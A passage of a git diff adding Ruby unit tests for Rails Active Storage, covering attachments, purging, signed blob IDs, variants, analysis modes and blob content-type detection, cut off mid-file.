+      assert_equal "racecar.jpg", user.avatar.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.avatar.key)
+
+      user.save!
+      assert_predicate user.avatar.attachment, :persisted?
+      assert_predicate user.avatar.blob, :persisted?
+      assert_equal "racecar.jpg", user.reload.avatar.filename.to_s
+      assert ActiveStorage::Blob.service.exist?(user.avatar.key)
+    end
+  end
+
+  test "creating a record with an existing blob attached" do
+    user = User.create!(name: "Jason", avatar: create_blob(filename: "funky.jpg"))
+    assert_equal "funky.jpg", user.reload.avatar.filename.to_s
+  end
+
+  test "creating a record with an existing blob from a signed ID attached" do
+    user = User.create!(name: "Jason", avatar: create_blob(filename: "funky.jpg").signed_id)
+    assert_equal "funky.jpg", user.reload.avatar.filename.to_s
+  end
+
+  test "creating a record with a new blob from an uploaded file attached" do
+    User.new(name: "Jason", avatar: fixture_file_upload("racecar.jpg")).tap do |user|
+      assert_predicate user, :new_record?
+      assert_predicate user.avatar.attachment, :new_record?
+      assert_predicate user.avatar.blob, :new_record?
+      assert_equal "racecar.jpg", user.avatar.filename.to_s
+      assert_not ActiveStorage::Blob.service.exist?(user.avatar.key)
+
+      user.save!
+      assert_equal "racecar.jpg", user.reload.avatar.filename.to_s
+    end
+  end
+
+  test "creating a record with an unexpected object attached" do
+    error = assert_raises(ArgumentError) { User.create!(name: "Jason", avatar: :foo) }
+    assert_equal "Could not find or build blob: expected attachable, got :foo", error.message
+  end
+
+  test "analyzing a new blob from an uploaded file after attaching it to a new record" do
+    perform_enqueued_jobs do
+      user = User.create!(name: "Jason", avatar: fixture_file_upload("racecar.jpg"))
+      assert_predicate user.avatar.reload, :analyzed?
+      assert_equal 4104, user.avatar.metadata[:width]
+      assert_equal 2736, user.avatar.metadata[:height]
+    end
+  end
+
+  test "analyzing a directly-uploaded blob after attaching it to a new record" do
+    perform_enqueued_jobs do
+      user = User.create!(name: "Jason", avatar: directly_upload_file_blob(filename: "racecar.jpg"))
+      assert_predicate user.avatar.reload, :analyzed?
+      assert_equal 4104, user.avatar.metadata[:width]
+      assert_equal 2736, user.avatar.metadata[:height]
+    end
+  end
+
+  test "detaching" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+      assert_predicate @user.avatar, :attached?
+
+      perform_enqueued_jobs do
+        @user.avatar.detach
+      end
+
+      assert_not @user.avatar.attached?
+      assert ActiveStorage::Blob.exists?(blob.id)
+      assert ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "detaching when record is not persisted" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      user = User.new
+      user.avatar.attach blob
+      assert_predicate user.avatar, :attached?
+
+      perform_enqueued_jobs do
+        user.avatar.detach
+      end
+
+      assert_not user.avatar.attached?
+      assert ActiveStorage::Blob.exists?(blob.id)
+      assert ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+      assert_predicate @user.avatar, :attached?
+
+      assert_changes -> { @user.updated_at } do
+        @user.avatar.purge
+      end
+      assert_not @user.avatar.attached?
+      assert_not ActiveStorage::Blob.exists?(blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging an attachment with a shared blob" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+      assert_predicate @user.avatar, :attached?
+
+      another_user = User.create!(name: "John")
+      another_user.avatar.attach blob
+      assert_predicate another_user.avatar, :attached?
+
+      @user.avatar.purge
+      assert_not @user.avatar.attached?
+      assert ActiveStorage::Blob.exists?(blob.id)
+      assert ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging when record is not persisted" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      user = User.new
+      user.avatar.attach blob
+      assert_predicate user.avatar, :attached?
+
+      attachment = user.avatar.attachment
+      user.avatar.purge
+
+      assert_not user.avatar.attached?
+      assert_predicate attachment, :destroyed?
+      assert_not ActiveStorage::Blob.exists?(blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging delete changes when record is not persisted" do
+    user = User.new
+    user.avatar = nil
+
+    user.avatar.purge
+
+    assert_nil user.attachment_changes["avatar"]
+  end
+
+  test "purging later" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+      assert_predicate @user.avatar, :attached?
+
+      perform_enqueued_jobs do
+        assert_changes -> { @user.updated_at } do
+          @user.avatar.purge_later
+        end
+      end
+
+      assert_not @user.avatar.attached?
+      assert_not ActiveStorage::Blob.exists?(blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging an attachment later with shared blob" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+      assert_predicate @user.avatar, :attached?
+
+      another_user = User.create!(name: "John")
+      another_user.avatar.attach blob
+      assert_predicate another_user.avatar, :attached?
+
+      perform_enqueued_jobs do
+        @user.avatar.purge_later
+      end
+
+      assert_not @user.avatar.attached?
+      assert ActiveStorage::Blob.exists?(blob.id)
+      assert ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging an attachment later when record is not persisted" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      user = User.new
+      user.avatar.attach blob
+      assert_predicate user.avatar, :attached?
+
+      attachment = user.avatar.attachment
+      perform_enqueued_jobs do
+        user.avatar.purge_later
+      end
+
+      assert_not user.avatar.attached?
+      assert_predicate attachment, :destroyed?
+      assert_not ActiveStorage::Blob.exists?(blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purging dependent attachment later on destroy" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.avatar.attach blob
+
+      perform_enqueued_jobs do
+        @user.destroy!
+      end
+
+      assert_not ActiveStorage::Blob.exists?(blob.id)
+      assert_not ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "not purging independent attachment on destroy" do
+    create_blob(filename: "funky.jpg").tap do |blob|
+      @user.cover_photo.attach blob
+
+      assert_no_enqueued_jobs do
+        @user.destroy!
+      end
+    end
+  end
+
+  test "duped record does not share attachments" do
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+
+    assert_not_equal @user.avatar.attachment, @user.dup.avatar.attachment
+  end
+
+  test "duped record does not share attachment changes" do
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+    assert_not_predicate @user, :changed_for_autosave?
+
+    @user.dup.avatar.attach create_blob(filename: "town.jpg")
+    assert_not_predicate @user, :changed_for_autosave?
+  end
+
+  test "clearing change on reload" do
+    @user.avatar = create_blob(filename: "funky.jpg")
+    assert_predicate @user.avatar, :attached?
+
+    @user.reload
+    assert_not @user.avatar.attached?
+  end
+
+  test "overriding attached reader" do
+    @user.avatar.attach create_blob(filename: "funky.jpg")
+
+    assert_equal "funky.jpg", @user.avatar.filename.to_s
+
+    begin
+      User.class_eval do
+        def avatar
+          super.filename.to_s.reverse
+        end
+      end
+
+      assert_equal "gpj.yknuf", @user.avatar
+    ensure
+      User.remove_method :avatar
+    end
+  end
+
+  test "attaching a new blob from a Hash with a custom service" do
+    with_service("mirror") do
+      @user.avatar.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+      @user.cover_photo.attach io: StringIO.new("STUFF"), filename: "town.jpg", content_type: "image/jpeg"
+
+      assert_instance_of ActiveStorage::Service::MirrorService, @user.avatar.service
+      assert_instance_of ActiveStorage::Service::DiskService, @user.cover_photo.service
+    end
+  end
+
+  test "attaching a new blob from an uploaded file with a custom_service" do
+    with_service("mirror") do
+      @user.avatar.attach fixture_file_upload("racecar.jpg")
+      @user.cover_photo.attach fixture_file_upload("racecar.jpg")
+
+      assert_instance_of ActiveStorage::Service::MirrorService, @user.avatar.service
+      assert_instance_of ActiveStorage::Service::DiskService, @user.cover_photo.service
+    end
+  end
+
+  test "attaching a new blob from an uploaded file with a service defined at runtime" do
+    extra_attached = Class.new(User) do
+      def self.name; superclass.name; end
+
+      has_one_attached :signature, service: ->(user) { "disk_#{user.mirror_region}" }
+
+      def mirror_region
+        :mirror_2
+      end
+    end
+
+    @user = @user.becomes(extra_attached)
+
+    @user.signature.attach fixture_file_upload("cropped.pdf")
+    assert_equal :disk_mirror_2, @user.signature.service.name
+  end
+
+  test "raises error when global service configuration is missing" do
+    Rails.configuration.active_storage.stub(:service, nil) do
+      error = assert_raises RuntimeError do
+        User.class_eval do
+          has_one_attached :featured_photo
+        end
+      end
+
+      assert_match(/Missing Active Storage service name. Specify Active Storage service name for config.active_storage.service in config\/environments\/test.rb/, error.message)
+    end
+  end
+
+  test "raises error when misconfigured service is passed" do
+    error = assert_raises ArgumentError do
+      User.class_eval do
+        has_one_attached :featured_photo, service: :unknown
+      end
+    end
+
+    assert_match(/Cannot configure service :unknown for User#featured_photo/, error.message)
+  end
+
+  test "raises error when misconfigured service is defined at runtime" do
+    extra_attached = Class.new(User) do
+      def self.name; superclass.name; end
+
+      has_one_attached :featured_vlog, service: ->(*) { :unknown }
+    end
+
+    @user = @user.becomes(extra_attached)
+
+    assert_raises match: /Cannot configure service :unknown for .+#featured_vlog/ do
+      @user.featured_vlog.attach fixture_file_upload("video.mp4")
+    end
+  end
+
+  test "creating variation by variation name" do
+    @user.avatar_with_variants.attach fixture_file_upload("racecar.jpg")
+    variant = @user.avatar_with_variants.variant(:thumb).processed
+
+    image = read_image(variant)
+    assert_equal "JPEG", image.type
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate variant" do
+    @user.avatar_with_variants.attach fixture_file_upload("racecar.jpg")
+
+    error = assert_raises ArgumentError do
+      @user.avatar_with_variants.variant(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#avatar_with_variants/, error.message)
+  end
+
+  test "creating preview by variation name" do
+    assert_no_enqueued_jobs only: ActiveStorage::TransformJob do
+      @user.avatar_with_variants.attach fixture_file_upload("report.pdf")
+    end
+    preview = @user.avatar_with_variants.preview(:thumb).processed
+
+    image = read_image(preview.send(:variant))
+    assert_equal "PNG", image.type
+    assert_equal 77, image.width
+    assert_equal 100, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate preview" do
+    @user.avatar_with_variants.attach fixture_file_upload("report.pdf")
+
+    error = assert_raises ArgumentError do
+      @user.avatar_with_variants.preview(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#avatar_with_variants/, error.message)
+  end
+
+  test "creating representation by variation name" do
+    @user.avatar_with_variants.attach fixture_file_upload("racecar.jpg")
+    variant = @user.avatar_with_variants.representation(:thumb).processed
+
+    image = read_image(variant)
+    assert_equal "JPEG", image.type
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "raises error when unknown variant name is used to generate representation" do
+    @user.avatar_with_variants.attach fixture_file_upload("racecar.jpg")
+
+    error = assert_raises ArgumentError do
+      @user.avatar_with_variants.representation(:unknown).processed
+    end
+
+    assert_match(/Cannot find variant :unknown for User#avatar_with_variants/, error.message)
+  end
+end
diff --git a/activestorage/test/models/attachment_test.rb b/activestorage/test/models/attachment_test.rb
new file mode 100644
index 0000000000000..c4d189d512210
--- /dev/null
+++ b/activestorage/test/models/attachment_test.rb
@@ -0,0 +1,483 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "active_support/testing/method_call_assertions"
+
+class ActiveStorage::AttachmentTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @user = User.create!(name: "Josh")
+  end
+
+  teardown { ActiveStorage::Blob.all.each(&:delete) }
+
+  test "analyzing a directly-uploaded blob after attaching it" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+    assert_not blob.analyzed?
+
+    perform_enqueued_jobs do
+      @user.highlights.attach(blob)
+    end
+
+    assert_predicate blob.reload, :analyzed?
+    assert_equal 4104, blob.metadata[:width]
+    assert_equal 2736, blob.metadata[:height]
+  end
+
+  test "attaching a un-analyzable blob" do
+    blob = create_blob(filename: "blank.txt")
+
+    assert_not_predicate blob, :analyzed?
+
+    assert_no_enqueued_jobs do
+      @user.highlights.attach(blob)
+    end
+
+    assert_predicate blob.reload, :analyzed?
+  end
+
+  test "attaching a blob doesn't touch the record" do
+    data = "Something else entirely!"
+    io = StringIO.new(data)
+    blob = create_blob_before_direct_upload byte_size: data.size, checksum: OpenSSL::Digest::MD5.base64digest(data)
+    blob.upload(io)
+
+    user = User.create!(
+      name: "Roger",
+      avatar: blob.signed_id,
+      record_callbacks: true,
+    )
+
+    assert_equal(1, user.callback_counter)
+  end
+
+  test "attaching a record doesn't reset the previously_new_record flag" do
+    @user.highlights.attach(io: ::StringIO.new("dummy"), filename: "dummy.txt")
+
+    assert(@user.notification_sent)
+  end
+
+  test "mirroring a directly-uploaded blob after attaching it" do
+    with_service("mirror") do
+      blob = directly_upload_file_blob
+      assert_not ActiveStorage::Blob.service.mirrors.second.exist?(blob.key)
+
+      perform_enqueued_jobs do
+        @user.highlights.attach(blob)
+      end
+
+      assert ActiveStorage::Blob.service.mirrors.second.exist?(blob.key)
+    end
+  end
+
+  test "directly-uploaded blob identification for one attached occurs before validation" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg", content_type: "application/octet-stream")
+
+    assert_blob_identified_before_owner_validated(@user, blob, "image/jpeg") do
+      @user.avatar.attach(blob)
+    end
+  end
+
+  test "directly-uploaded blob identification for many attached occurs before validation" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg", content_type: "application/octet-stream")
+
+    assert_blob_identified_before_owner_validated(@user, blob, "image/jpeg") do
+      @user.highlights.attach(blob)
+    end
+  end
+
+  test "directly-uploaded blob identification for one attached occurs outside transaction" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+
+    assert_blob_identified_outside_transaction(blob) do
+      @user.avatar.attach(blob)
+    end
+  end
+
+  test "directly-uploaded blob identification for many attached occurs outside transaction" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+
+    assert_blob_identified_outside_transaction(blob) do
+      @user.highlights.attach(blob)
+    end
+  end
+
+  test "getting a signed blob ID from an attachment" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id
+    assert_equal blob, ActiveStorage::Blob.find_signed!(signed_id)
+    assert_equal blob, ActiveStorage::Blob.find_signed(signed_id)
+  end
+
+  test "getting a signed blob ID from an attachment with a custom purpose" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id(purpose: :custom_purpose)
+    assert_equal blob, ActiveStorage::Blob.find_signed!(signed_id, purpose: :custom_purpose)
+  end
+
+  test "getting a signed blob ID from an attachment with a expires_in" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id(expires_in: 1.minute)
+    assert_equal blob, ActiveStorage::Blob.find_signed!(signed_id)
+  end
+
+  test "fail to find blob within expiration duration" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id(expires_in: 1.minute)
+    travel 2.minutes
+    assert_nil ActiveStorage::Blob.find_signed(signed_id)
+  end
+
+  test "getting a signed blob ID from an attachment with a expires_at" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id(expires_at: 1.minute.from_now)
+    assert_equal blob, ActiveStorage::Blob.find_signed!(signed_id)
+  end
+
+  test "fail to find blob within expiration time" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id(expires_at: 1.minute.from_now)
+    travel 2.minutes
+    assert_nil ActiveStorage::Blob.find_signed(signed_id)
+  end
+
+  test "signed blob ID backwards compatibility" do
+    blob = create_blob
+    @user.avatar.attach(blob)
+
+    signed_id_generated_old_way = ActiveStorage.verifier.generate(@user.avatar.blob.id, purpose: :blob_id)
+    assert_equal blob, ActiveStorage::Blob.find_signed!(signed_id_generated_old_way)
+  end
+
+  test "attaching with strict_loading and getting a signed blob ID from an attachment" do
+    blob = create_blob
+    @user.strict_loading!(true)
+    @user.avatar.attach(blob)
+
+    signed_id = @user.avatar.signed_id
+    assert_equal blob, ActiveStorage::Blob.find_signed(signed_id)
+  end
+
+  test "can destroy attachment without existing relation" do
+    blob = create_blob
+    @user.highlights.attach(blob)
+    attachment = @user.highlights.find_by(blob_id: blob.id)
+    attachment.update_attribute(:name, "old_highlights")
+    assert_nothing_raised { attachment.destroy }
+  end
+
+  test "can create an attachment with the record having no attachment reflections" do
+    assert_nothing_raised { ActiveStorage::Attachment.create!(name: "whatever", record: @user, blob: create_blob) }
+  end
+
+  test "create immediate variants on attach" do
+    blob = create_file_blob
+
+    assert_changes -> { @user.avatar_with_immediate_variants.variant(:immediate_thumb)&.processed? }, from: nil, to: true do
+      @user.avatar_with_immediate_variants.attach blob
+    end
+  end
+
+  test "create immediate variants from local file without downloading" do
+    # When attaching a fresh file (not an existing blob), immediate variants
+    # should be processed from the local io without downloading from the service.
+    download_called = false
+    original_download = ActiveStorage::Blob.service.method(:download)
+
+    ActiveStorage::Blob.service.define_singleton_method(:download) do |key, &block|
+      download_called = true
+      original_download.call(key, &block)
+    end
+
+    @user.avatar_with_immediate_variants.attach(
+      io: file_fixture("racecar.jpg").open,
+      filename: "racecar.jpg",
+      content_type: "image/jpeg"
+    )
+
+    assert @user.avatar_with_immediate_variants.variant(:immediate_thumb).processed?,
+      "Immediate variant should be processed"
+    assert_not download_called,
+      "Download should not be called when processing immediate variants from local file"
+  ensure
+    # Restore the original method
+    ActiveStorage::Blob.service.singleton_class.remove_method(:download) if ActiveStorage::Blob.service.respond_to?(:download, true)
+  end
+
+  test "analyze from local file without downloading for immediate variant attachments" do
+    # Attachments with process: :immediately variants analyze from local io
+    # without downloading from the service.
+    download_called = false
+    original_download = ActiveStorage::Blob.service.method(:download)
+
+    ActiveStorage::Blob.service.define_singleton_method(:download) do |key, &block|
+      download_called = true
+      original_download.call(key, &block)
+    end
+
+    @user.avatar_with_immediate_variants.attach(
+      io: file_fixture("racecar.jpg").open,
+      filename: "racecar.jpg",
+      content_type: "image/jpeg"
+    )
+
+    assert @user.avatar_with_immediate_variants.blob.analyzed?, "Blob should be analyzed"
+    assert_equal 4104, @user.avatar_with_immediate_variants.blob.metadata[:width]
+    assert_equal 2736, @user.avatar_with_immediate_variants.blob.metadata[:height]
+    assert_not download_called,
+      "Download should not be called when analyzing from local file"
+  ensure
+    ActiveStorage::Blob.service.singleton_class.remove_method(:download) if ActiveStorage::Blob.service.respond_to?(:download, true)
+  end
+
+  test "enqueues create variants job to delay transformations after attach" do
+    blob = create_file_blob
+    assert_create_variants_job blob:, variants: [{ resize_to_limit: [2, 2] }] do
+      @user.avatar_with_later_variants.attach blob
+    end
+  end
+
+  test "avoids enqueuing create variants job when lazy" do
+    blob = create_file_blob
+
+    assert_no_enqueued_jobs only: ActiveStorage::CreateVariantsJob  do
+      @user.avatar_with_lazy_variants.attach blob
+    end
+  end
+
+  test "avoids enqueuing create variants job when blob is not representable" do
+    unrepresentable_blob = create_blob(filename: "hello.txt")
+
+    assert_no_enqueued_jobs only: ActiveStorage::CreateVariantsJob  do
+      @user.avatar_with_later_variants.attach unrepresentable_blob
+    end
+  end
+
+  test "avoids enqueuing create variants job if there aren't any variants" do
+    blob = create_file_blob
+
+    assert_no_enqueued_jobs only: ActiveStorage::CreateVariantsJob do
+      @user.resume.attach blob
+    end
+  end
+
+  test "analysis metadata available before validation for immediate variant attachments" do
+    # Attachments with process: :immediately variants eagerly analyze,
+    # making metadata available during validation.
+    validated_width = nil
+    validated_height = nil
+
+    User.validate do
+      if avatar_with_immediate_variants.attached? && avatar_with_immediate_variants.blob
+        validated_width = avatar_with_immediate_variants.blob.metadata[:width]
+        validated_height = avatar_with_immediate_variants.blob.metadata[:height]
+      end
+    end
+
+    user = User.create! \
+      name: "Analysis Test",
+      avatar_with_immediate_variants: { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+
+    # Analysis metadata was available during validation
+    assert_equal 4104, validated_width
+    assert_equal 2736, validated_height
+
+    # And persisted correctly
+    assert_equal 4104, user.avatar_with_immediate_variants.blob.metadata[:width]
+    assert_equal 2736, user.avatar_with_immediate_variants.blob.metadata[:height]
+  ensure
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "analysis metadata available before validation for has_many_attached with immediate variants" do
+    validated_widths = []
+
+    User.validate do
+      highlights_with_immediate_variants.each do |highlight|
+        validated_widths << highlight.blob.metadata[:width] if highlight.blob
+      end
+    end
+
+    user = User.create! \
+      name: "Analysis Test",
+      highlights_with_immediate_variants: [
+        { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+      ]
+
+    assert_equal [4104], validated_widths
+    assert_equal 4104, user.highlights_with_immediate_variants.first.blob.metadata[:width]
+  ensure
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "analyze: :immediately analyzes during validation" do
+    validated_width = nil
+
+    User.validate do
+      if avatar_with_immediate_analysis.attached? && avatar_with_immediate_analysis.blob
+        validated_width = avatar_with_immediate_analysis.blob.metadata[:width]
+      end
+    end
+
+    user = User.create! \
+      name: "Analysis Test",
+      avatar_with_immediate_analysis: { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+
+    assert_equal 4104, validated_width
+    assert_equal 4104, user.avatar_with_immediate_analysis.blob.metadata[:width]
+  ensure
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "analyze: :later skips analysis during validation but analyzes after upload" do
+    validated_width = nil
+
+    User.validate do
+      if avatar_with_later_analysis.attached? && avatar_with_later_analysis.blob
+        validated_width = avatar_with_later_analysis.blob.metadata[:width]
+      end
+    end
+
+    user = User.create! \
+      name: "Analysis Test",
+      avatar_with_later_analysis: { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+
+    # Not analyzed during validation
+    assert_nil validated_width
+
+    # Analyzed after upload (from local io, no job needed)
+    assert_equal 4104, user.avatar_with_later_analysis.blob.metadata[:width]
+  ensure
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "analyze: :lazily skips analysis during validation" do
+    validated_width = nil
+
+    User.validate do
+      if avatar_with_lazy_analysis.attached? && avatar_with_lazy_analysis.blob
+        validated_width = avatar_with_lazy_analysis.blob.metadata[:width]
+      end
+    end
+
+    user = User.create! \
+      name: "Analysis Test",
+      avatar_with_lazy_analysis: { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+
+    # Not analyzed during validation
+    assert_nil validated_width
+
+    # Still not analyzed after save
+    assert_nil user.avatar_with_lazy_analysis.blob.metadata[:width]
+  ensure
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "global ActiveStorage.analyze = :immediately enables immediate analysis" do
+    original = ActiveStorage.analyze
+    ActiveStorage.analyze = :immediately
+
+    validated_width = nil
+
+    User.validate do
+      if avatar.attached? && avatar.blob
+        validated_width = avatar.blob.metadata[:width]
+      end
+    end
+
+    User.create! \
+      name: "Analysis Test",
+      avatar: { io: file_fixture("racecar.jpg").open, filename: "racecar.jpg", content_type: "image/jpeg" }
+
+    assert_equal 4104, validated_width
+  ensure
+    ActiveStorage.analyze = original
+    User.clear_validators!
+    User.validates :name, presence: true
+  end
+
+  test "analyze: :lazily skips enqueuing AnalyzeJob" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+
+    assert_no_enqueued_jobs only: ActiveStorage::AnalyzeJob do
+      @user.avatar_with_lazy_analysis.attach(blob)
+    end
+  end
+
+  test "analyze: :later enqueues AnalyzeJob" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+
+    assert_enqueued_with job: ActiveStorage::AnalyzeJob do
+      @user.avatar_with_later_analysis.attach(blob)
+    end
+  end
+
+  test "global ActiveStorage.analyze = :lazily skips enqueuing AnalyzeJob" do
+    original = ActiveStorage.analyze
+    ActiveStorage.analyze = :lazily
+
+    blob = directly_upload_file_blob(filename: "racecar.jpg")
+
+    assert_no_enqueued_jobs only: ActiveStorage::AnalyzeJob do
+      @user.avatar.attach(blob)
+    end
+  ensure
+    ActiveStorage.analyze = original
+  end
+
+  private
+    def assert_blob_identified_before_owner_validated(owner, blob, content_type)
+      validated_content_type = nil
+
+      owner.class.validate do
+        validated_content_type ||= blob.content_type
+      end
+
+      yield
+
+      assert_equal content_type, validated_content_type
+      assert_equal content_type, blob.reload.content_type
+    ensure
+      owner.class.clear_validators!
+      owner.class.validates :name, presence: true
+    end
+
+    def assert_blob_identified_outside_transaction(blob, &block)
+      baseline_transaction_depth = ActiveRecord::Base.lease_connection.open_transactions
+      max_transaction_depth = -1
+
+      track_transaction_depth = ->(*) do
+        max_transaction_depth = [ActiveRecord::Base.lease_connection.open_transactions, max_transaction_depth].max
+      end
+
+      blob.stub(:identify_without_saving, track_transaction_depth, &block)
+
+      assert_equal 0, (max_transaction_depth - baseline_transaction_depth)
+    end
+
+    def assert_create_variants_job(blob:, variants:, &block)
+      assert_enqueued_with(
+        job: ActiveStorage::CreateVariantsJob,
+        args: [ blob, variants:, process: :later ], &block
+      )
+    end
+end
diff --git a/activestorage/test/models/blob_test.rb b/activestorage/test/models/blob_test.rb
new file mode 100644
index 0000000000000..0849dc985d97d
--- /dev/null
+++ b/activestorage/test/models/blob_test.rb
@@ -0,0 +1,384 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "active_support/testing/method_call_assertions"
+
+class ActiveStorage::BlobTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+  include ActiveJob::TestHelper
+
+  test "unattached scope" do
+    [ create_blob(filename: "funky.jpg"), create_blob(filename: "town.jpg") ].tap do |blobs|
+      User.create! name: "DHH", avatar: blobs.first
+      assert_includes ActiveStorage::Blob.unattached, blobs.second
+      assert_not_includes ActiveStorage::Blob.unattached, blobs.first
+
+      User.create! name: "Jason", avatar: blobs.second
+      assert_not_includes ActiveStorage::Blob.unattached, blobs.second
+    end
+  end
+
+  test "create_and_upload does not permit a conflicting blob key to overwrite an existing object" do
+    data = "First file"
+    blob = create_blob data: data
+
+    assert_raises ActiveRecord::RecordNotUnique do
+      ActiveStorage::Blob.stub :generate_unique_secure_token, blob.key do
+        create_blob data: "This would overwrite"
+      end
+    end
+
+    assert_equal data, blob.download
+  end
+
+  test "create_and_upload sets byte size and checksum" do
+    data = "Hello world!"
+    blob = create_blob data: data
+
+    assert_equal data, blob.download
+    assert_equal data.length, blob.byte_size
+    assert_equal OpenSSL::Digest::MD5.base64digest(data), blob.checksum
+  end
+
+  test "create_and_upload extracts content type from data" do
+    blob = create_file_blob fixture: "racecar.jpg", content_type: "application/octet-stream", filename: "spoofed.txt"
+    assert_equal "image/jpeg", blob.content_type
+  end
+
+  test "create_and_upload prefers given content type over filename" do
+    blob = create_blob content_type: "specific/type", filename: "file.txt"
+    assert_equal "specific/type", blob.content_type
+  end
+
+  test "create_and_upload prefers filename over binary content type" do
+    blob = create_blob content_type: "application/octet-stream", filename: "file.txt"
+    assert_equal "text/plain", blob.content_type
+  end
+
+  test "create_and_upload extracts content type from filename" do
+    blob = create_blob content_type: nil, filename: "hello.txt"
+    assert_equal "text/plain", blob.content_type
+  end
+
+  test "create_and_upload extracts content_type from io when missing and identify: false" do
+    blob = create_file_blob fixture: "racecar.jpg", content_type: nil, filename: "unknown", identify: false
+    assert_equal "image/jpeg", blob.content_type
+  end
+
+  test "create_and_upload uses given content_type when identify: false" do
+    blob = create_file_blob fixture: "racecar.jpg", content_type: "given/type", filename: "unknown", identify: false
+    assert_equal "given/type", blob.content_type
+  end
+
+  test "create_and_upload generates a 28-character base36 key" do
+    assert_match(/^[a-z0-9]{28}$/, create_blob.key)
+  end
+
+  test "create_and_upload accepts a custom key" do
+    key  = SecureRandom.base36(28)
+    data = "Hello world!"
+    blob = create_blob key: key, data: data
+
+    assert_equal key, blob.key
+    assert_equal data, blob.download
+  end
+
+  test "create_and_upload accepts a record for overrides" do
+    assert_nothing_raised do
+      create_blob(record: User.new)
+    end
+  end
+
+  test "create_and_upload raises for non-rewindable io" do
+    assert_raises(ArgumentError) do
+      ActiveStorage::Blob.create_and_upload!(io: file_fixture("racecar.jpg"), filename: "racecar.jpg")
+    end
+  end
+
+  test "record touched after analyze" do
+    user = User.create!(
+      name: "Nate",
+      avatar: {
+        content_type: "image/jpeg",
+        filename: "racecar.jpg",
+        io: file_fixture("racecar.jpg").open,
+      }
+    )
+
+    assert_changes -> { user.reload.updated_at } do
+      user.avatar.blob.analyze
+    end
+  end
+
+  test "build_after_unfurling generates a 28-character base36 key" do
+    assert_match(/^[a-z0-9]{28}$/, build_blob_after_unfurling.key)
+  end
+
+  test "compose" do
+    blobs = 3.times.map { create_blob(data: "123", filename: "numbers.txt", content_type: "text/plain", identify: false) }
+    blob = ActiveStorage::Blob.compose(blobs, filename: "all_numbers.txt")
+
+    assert_equal "123123123", blob.download
+    assert_equal "text/plain", blob.content_type
+    assert_equal blobs.first.byte_size * blobs.count, blob.byte_size
+    assert_predicate(blob, :composed)
+    assert_nil blob.checksum
+  end
+
+  test "compose with unpersisted blobs" do
+    blobs = 3.times.map { create_blob(data: "123", filename: "numbers.txt", content_type: "text/plain", identify: false).dup }
+
+    error = assert_raises(ActiveRecord::RecordNotSaved) do
+      ActiveStorage::Blob.compose(blobs, filename: "all_numbers.txt")
+    end
+    assert_equal "All blobs must be persisted.", error.message
+  end
+
+  test "compose with custom key" do
